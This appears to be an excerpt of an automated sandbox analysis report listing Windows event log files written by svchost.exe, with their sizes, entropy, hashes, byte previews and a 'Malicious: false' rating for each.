Preview:	ElfChnk.........b...............b...............0...o5@r.....................................................................2..................V.......................T...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.............................................................../.......................**............... .$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.4467272005363894
Encrypted:	false
SSDEEP:	384:EEhFiDhKxDmqIDrfDYEDdDDDbDOD2DSD+DtDFDxDlDUDEDoDADeDuDx4DWDXDjD6:JzSKEqsMuy6TN
MD5:	155681C222D825199B738E8DEC707DC8
SHA1:	704C800E7313F77A218203554E1428DF2819BC34
SHA-256:	1505E543085CB6AA30119F10DF11AC8CE061DB0CAC6D44A640E711F96750C4BF
SHA-512:	ADDDE8E26D330EAA13F993D17FF4A6DE7F4120E5B36205EB69FC999B0462B21FD189317EFD1002618551EE24E5C753A09EB34955E8CF1A8E2A22D27516BAB720
Malicious:	false
Preview:	ElfChnk.........L...............L...........x.......ZZO.........................................................................................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......................................=............................................y..................................**...............v?..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.156155224835584
Encrypted:	false
SSDEEP:	384:MhMLzI9ozTxzFEz3zLzWztCzizQzzz5zqfzDz5z1zkzSz9zEzWz+zQzqbzUTz3zE:Mmw9g3LU
MD5:	F22AC858C2ACC96E8F189E43FFE46FBD
SHA1:	540B8276921D37FCFFDA3FC7BCFAE1D99A85433B
SHA-256:	771A6E4098CB30081338F06DD7C0B54248C133F9B7B6849FDADDBD6E6FD5BCE9
SHA-512:	B4CF3C51B9FB236207B19FE697CEF6E402C6C903E7570B3938F529E5438F96E230463B9A9B17784A98E580E2B18AA9626E96AA83F705D506AF9C2A0432F0F7D5
Malicious:	false
Preview:	ElfChnk.........6...............6........... o...p..k.?........................................................................x................J.......................r...=...........................................................................................................................f...............?...........................m...................M...F...........................&.......E.......................n.......#...........................................~i..................................**..............j...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.9197999988543422
Encrypted:	false
SSDEEP:	384:ehqID7I26vIxIPIttIo0IPrI5IMILIjI7I1IIIfrIBBLIgITI:ecx
MD5:	6C3F290FC62CFA9C240AEE8DB1DBA277
SHA1:	CFACCF81F3AA31E8DE85CEAFDAA55AA90FA18BEC
SHA-256:	7841FBB35636229AFB0389965D3DDBD0B7DF4858F1DA8A8FF434830DB8B133D6
SHA-512:	D2C60875EFADB1F3421CDC095B00E32419C0266CB4F58B17AF09A82AAA20EB488C757BA07E7562A033B84A37B3E035C405200BFB29330F79CA565FF21F5EDA88
Malicious:	false
Preview:	ElfChnk.K.......L.......K.......L...........x...86.....U......................................................................+.................$.......................L...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..x...K.........tQ..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-LiveId%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	5.718426658668259
Encrypted:	false
SSDEEP:	384:Thka5Ka5WsR9o2KbzyzIz7a5NsR9o2KbzyzIzia5zzuzNz0zxzuewKWMK/2a55wt:Tdqlt94xODljQdM
MD5:	8630011707C7BFBCECC0A9430637802E
SHA1:	22247A5B6A4C01883BB14E0BD4575A3553F945CB
SHA-256:	227057F9899098B21709D53114E9DECFFCD28207BFFA178AD6B1E32F9C63EDDF
SHA-512:	972629871B28EA6D01B8762B28378F8348E592BD465FE7FD1CF6AB5BD62157230AD3BB729F6290F6EDA950AB20598110676D902756E40BA3067ED37831855076
Malicious:	false
Preview:	ElfChnk.%......./.......%......./...........(l...n.........................................................................b\.;................ .......................H...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&........................6..........**..P...%.......'wu~..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NCSI%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9963080376858662
Encrypted:	false
SSDEEP:	384:l7h1hM7MpMEaMWFMu/Ma2M+AMmGM1cMNF3Mg9Ml7MABMczM0cMKhMLaMA0MJvMZy:l7eJw
MD5:	A51AFE78FA4481FA05EDC1133C92B1D8
SHA1:	5BA44E7A99EE615E323696742DA6B930E9FF6198
SHA-256:	44C1977D16383DF6B1FFF8164F319DFD99092A124ABA7C7280D74A6BB8AD2094
SHA-512:	792E5E8F5540DCA4B7F003C1043DCBC3E0EC3F23EC4A7B0FA84357F6ABDFD84122C124DBEA2B61D3B5CEED79A3E158DBE95DFCDB20EEAC433D9CDC29C3328F22
Malicious:	false
Preview:	ElfChnk......................................)..0-....\.....................................................................\|..........................................>...=...........................................................................................................................f...............?...........................m...................M...F...........................&....................................................................................)..................................**..............c...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.076996627399968
Encrypted:	false
SSDEEP:	384:Ihk1EL1I1Vh1C1D161f1f181L1tY1VGm1Q1L1p1VG1U1Z1s1VA141c1Vc1q1tS12:IBjdjP0cs6N
MD5:	A8ADBDC2B39B55444B2C844F7D81EBDE
SHA1:	F97F40E314C8A2A39953A28CB72C9270D3073418
SHA-256:	93CF0EF4C121FCBB18A8A6DA5912415AF1113816BE6A8F9B86BE6A2243408E09
SHA-512:	922D165CBE871A393D58DAABABE7D09557E242BF73C2C473C29CCB0FB3277B8119911EFF51B12238D23B613AD9C15DAB163C9757BC9006D768B2345F53436E7B
Malicious:	false
Preview:	ElfChnk.........................................X...Y}.......................................................................(.[................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................A.......................................................*..............5.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.2270516322734055
Encrypted:	false
SSDEEP:	384:khhDIEQAGxIHIFIWInIfEITQIAIQIfID8IaxIcI8IfRITGIHUI6IwI2IVIWIfRGQ:khZxGp969
MD5:	2DB9B1A1F02360FE513803E6301D6579
SHA1:	793571D3F7152764B6D42420CA8591EADEC753A1
SHA-256:	054197E1C5C406838B73973BDD7E205150D4EB4D2EB81C003B6550616AF59E84
SHA-512:	5B7A6B93CC053E90252012119D0C341D7512B7716F566757849E06625AE9762AB159ADD3C54A2B76C45FCF1741717092AD6BDB7F0E3BC8550B95D08C44B9D590
Malicious:	false
Preview:	ElfChnk.T...............T...................P...h...P................................................................................................................>...=...........................................................................................................................f...............?...........................m...................M...F............................................................n..................1................................a......a...........................**......T.......B..d..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4WHC.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.801423310886069
Encrypted:	false
SSDEEP:	384:dh6iIvcImIvITIQIoIoI3IEIMIoIBIDIcIwISIEzIJVI:doxJS
MD5:	9EAAD7982F42DFF47B8EF784DD2EE1CC
SHA1:	542608204AF6B709B06807E9466F7543C0F08818
SHA-256:	5468A48533B56DE3E8C820B870493154775356CE3913AD70EC51E0D1D0D1A366
SHA-512:	036BFABE2AC4AD623B5C439349938C0EA254BFCDAB9096A53253189D4F632A8A8A1DD00644A4573AF971AAEA6831317BFD663E35363DD870684CDD4C0A51884C
Malicious:	false
Preview:	ElfChnk.....................................X ...#..\.N......................................................................12.............................................=...........................................................................................................................f...............?...........................m...................M...F...........................&...................................................................................~ ..................................**..............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Partition%4Diagnostic.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.996272372482282
Encrypted:	false
SSDEEP:	768:e4u1n8zfFFU1x4Dk13xIb13xIb13xIt13xIi13xI513xIU13xI013xIF13xIH137:M
MD5:	4F68D6AF0C7DB9E98F8B592C9A07811C
SHA1:	9F519109344DD57150F16B540AAA417483EF44FE
SHA-256:	44177E6F71E240EBFE9CE63FEFBF5D46A01979E09C0C14F65F1D19AE8E97B8EE
SHA-512:	E1D5097BCD572F3DBAF4024FAEA76BAD3061CD2E05017701B578020327969C2BD3F725FBE8BFE4C40DC66336CE1371E7AB037058603B02449366DAE4EDE8DE69
Malicious:	false
Preview:	ElfChnk.....................................(...8...S......................................................................V..C................(.......................P...=...........................................................................................................................f...............?...........................m...................M...F...........................&................................ ..................................................N...................................**...............................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	4264
Entropy (8bit):	4.187102023329358
Encrypted:	false
SSDEEP:	96:ka/tuKNVaO80o1nyA2WyfWy0fyXY9yu/Ny/:Ltu8V7wnyA2WyfWy0fyXY9yu/Ny/
MD5:	1CAF0497C7439ABC5852A45274FB411A
SHA1:	5C6D01541991D9CC55B85F6EAAD5A96859315B29
SHA-256:	D839376EECFF56B80407B6A8A2942E38919FDAF04015866481DC1C7AD093771F
SHA-512:	F9D9362961367928B0034A6FF8E56D800C3F3B150F22D5BE7F49D92BF8AFF830D4947BB19E36B8203F4CFDA2331F2DE74615C7E4EF8EF77BF3709FF919B0C61B
Malicious:	false
Preview:	ElfChnk.................O.......T...........0........~ .........................................................................................0...........................=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................................&...................................**..`...O........6..\M............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-PushNotification-Platform%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.739533853103722
Encrypted:	false
SSDEEP:	384:jh+rKvKaKNP6WKkvKWKlpKuyK7YKmKaKHxqKWyK11KUIKqKq9KLjK5yKoKfKYKnb:jkN2cTOsK+C2qNLwziOr9NrjzDbRt
MD5:	55E0313A260959DFBBF0CD2B7283EBEB
SHA1:	887EDDBD0ECD8357F09BC7C7A7776EE6C24D5E05
SHA-256:	8294E68932AA52FC34777DCB2278F737E1BB8AD2624918642F1BEEC2F9C8A13C
SHA-512:	86596B26D669CD4CB9887595013F57EA5C084E86AD90EF35E4BFB7882932CB051C1A109F0C76DB52F15B2ABA130C605CEA27B116AA452D5972DEAA477D74FB57
Malicious:	false
Preview:	ElfChnk......................................... ...........................................................................29j.................l...........................=...........................................................................................................................f...............?...........................m...................M...F.......................E................................M..&...g`..g5......................o]...........X...Z..GP...............s......od......_i..**..P............%.o..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ReadyBoost%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7590316238843728
Encrypted:	false
SSDEEP:	384:IhP8o8Z85848V8M8g8D8R8E8T8h8p8TtP8sU8:Ic
MD5:	B074238315662886E2BD70106D08A747
SHA1:	5ADA158D19401565E76349FCA97489E9FB9BFA36
SHA-256:	53770508DCDA0199A75458B5A10DC8FD2E49A4CFD0FC001C16D56F3B567AB71C
SHA-512:	9D35DC04CCE95541551254BCBB00B0E2E0860D9B6F69D40FBC829DA31FC3AC43690A049A432BA4D43315B80675143A6AA02C57484E7903845010A5AD9EC92D6D
Malicious:	false
Preview:	ElfChnk.........................................0!....H.......................................................................j........................................V...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......................................................................................**..(.............................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.751304651738097
Encrypted:	false
SSDEEP:	1536:JXhaUyS+z1VV18o838c8bUc8cVVsz8VX8SoX8aA8cmtpjAiVB18dwE4vjcYoMjn1:JXwnS
MD5:	DBDD49092AAB51CA8C9DE47231576C1C
SHA1:	B351D8EB098AEC7B0F5C7FBF99D56E844ADA80BA
SHA-256:	61D06748F842579D81ACCE00FEAFE9D57B5802C266DD1D8F851CB6900FE74C48
SHA-512:	59A93EB7ED5A9FC2AFB33EFF53A29178B907594DFB5CA00D79EA649226B35F24A0A017C6DFE31553CE8F1FF99AFE06E2583950C94FE56E69A0E29EDBFE04AEF7
Malicious:	false
Preview:	ElfChnk.........%...............%............E..`G..-........................................................................)^u................v...........................=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...................................................&B..........O.......................**..............g5...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SMBServer%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.3069197485541766
Encrypted:	false
SSDEEP:	768:S0VsLY/Z5aFka2aKazzabCafama5Sa0ra6rzaJcavkao9O0apPaQOan6qa6IvV1:ycEu
MD5:	E6E4C860CE7DD1BB499D6A082B461B90
SHA1:	11330861B23B1D29D777D9BD10619A07B6A6A9C0
SHA-256:	C27431D9C64F5C9D323E2B4ED5F44781969B34F30DC4280296A329DCD6509D44
SHA-512:	7393A0FF290BB3DB07E8BB9A9FA7B666CD8B686CBDAA3FED2EBD704D6E88A4D5768D104BD768E6AA533C42588C661A863E11ED9146ABD7386A2A9B4F84583406
Malicious:	false
Preview:	ElfChnk.........;...............;............r..@t...H......................................................................p"..................Q...........................=...........................................................a...............................................................f...............?...2...........................................M...F......................................&........................................................................l..............]...................*.............._.............X..&.......X...],T.'tB..E........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.8593445672690927
Encrypted:	false
SSDEEP:	384:ahHBiQk1bdzpFEVQCd3iDzJiLQKiDBi4k1bdzpFEVQ35yY3dik5pmik5pbik5pKU:ah0w+qLpBVi7CPME79nCxkSq
MD5:	5AE0C3F2DDDBD1C231ABBE6B13B712DF
SHA1:	E337AC48B8A0192A9C09C2B747AF2BB52DCA67E7
SHA-256:	B9CD7A241840A211B585113857AC9B56BC631423B61E12F300050F79815BCAD8
SHA-512:	3C7CA015F3834519AD1AC4881D649B2065858B1368C2CFC590C50DF695F09B5C4AE7CD435F76D032A9978772B79F945706B21802172B33E0AD6847763048BEE5
Malicious:	false
Preview:	ElfChnk.........#...............#........... ..............................................................................\.f................T.......................\|...=...........................................................................................................................f...............?...........................m...................M...F.......................................-...'...............&.......................................................................................*.. ............#................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-SettingSync%4Debug.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.2909571978750325
Encrypted:	false
SSDEEP:	384:Ny2/hDGCyCkCzCRCFCNClCuC6CoC9rC6CdCsCvCkxCkC5CCCWCxCIC/CbCFC5CkG:Ny2/dm1sR
MD5:	B0BF4D9EC91ABBDA5D328631B125A5C0
SHA1:	E672D69127AE7C1A51046ADAA911871EC0C10ABB
SHA-256:	8DBE6F5B80B3D973BBF1177BCCAA690B9F90FC99DC358B7DE66175317C733501
SHA-512:	3132E1FCC5C8F88BD974465EA1E644CA89C2D9E041E49F8A1F48B9ACB3376F0A1042F5CB6FDFC6BE2934C4483312C35539D64DB25B892388604F9F637074BCBD
Malicious:	false
Preview:	ElfChnk.U.......~.......U.......~....................}/.....................................................................@..................F.......................n...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&....................................................v..................................**..0...U.........Df..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4AppDefaults.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.488768580471203
Encrypted:	false
SSDEEP:	1536:Q9YcieRoUlafdbkKKMAQ2SomvXCQv/2ketsvQPh8YzSJoh2VgPIEF6uq9GgCVRlW:Q9YcieRoUlaFbkKKMAQ2SomvXCM/2keU
MD5:	E3FB1708C64D250E4D801AFB8688DF35
SHA1:	8B889F0358683733257411E451A86E3A1D42159D
SHA-256:	0B62FDD9A57B1809D79561AE64BE30DD7430815D6954A5E3DF90E29E1B2E6C72
SHA-512:	2F5CC514B180A39E5961452A594FE5384A6369CBCB7A1CEBAC37948770A6CB999A2E2F26A32240058D5D7A335904DAF40C88F1C096D8F85907F23E9B32E79ABE
Malicious:	false
Preview:	ElfChnk.........$...............$.....................w.........................................................................................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...................................................V...................................**................o...............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Shell-Core%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.4977157302559725
Encrypted:	false
SSDEEP:	1536:HcRFkL1TWX0gkB/J7oasEfyk2/vKlqRi/PgTZSXwyvy8fJpfrAW+Cr6SXlUr20Gy:HcRFkL1TWX0gkB/J7oasEfyk2/vKlqkK
MD5:	6D2504DD395F5A41EA44AAE3526F8BF3
SHA1:	7E24C2BEF3B300DC514EB6C2E72971D1B8E1A711
SHA-256:	0027C48343D5E8A308B48A357F2FF7BB8D8484C0EC1F9B9B1F840A5D937DED56
SHA-512:	504E03F873C07A0AC9A81DFD78265814217D8F42130829C95C7BDFC6359F0B9D20E0B229767E26F25731E2F415628A399F1E908D3CB194FA0640C222FCC33608
Malicious:	false
Preview:	ElfChnk.>...............>...........................\|!.......................................................................wp.................0.......................X...=...........................................................................................................................f...............?...........................m...................M...F...............................................................................................A...............&...i.......~......................**......>........Q.U..............&............"3WI..L..........A..\|...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-ShellCommon-StartLayoutPopulation%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.494457161353947
Encrypted:	false
SSDEEP:	384:ZhN7s7o787l7r787a7J7z7+7N17g7x7c7g7gY7hZ7D7k7F7r7wm7NP7Y7+7fa7lX:Z9vuCg
MD5:	2C68AC8F7DC18D0B9BE4EC15DA85A3A3
SHA1:	E097A815A66A6A0866BE30DFA0E887A5DEBA1849
SHA-256:	3209650E56ECAA5ADD7CB341D9D48591E5691D7B237E34D8C35F453ECFFC7B1A
SHA-512:	C01412A6097E2E9F6EA913E6A1F545A19323B14EA529094E2FC9555EE28A8586883BCD4DE93FFE03C0FE327D73EFCFD9A0C96A091077FC12A066CEFF21C8D4E5
Malicious:	false
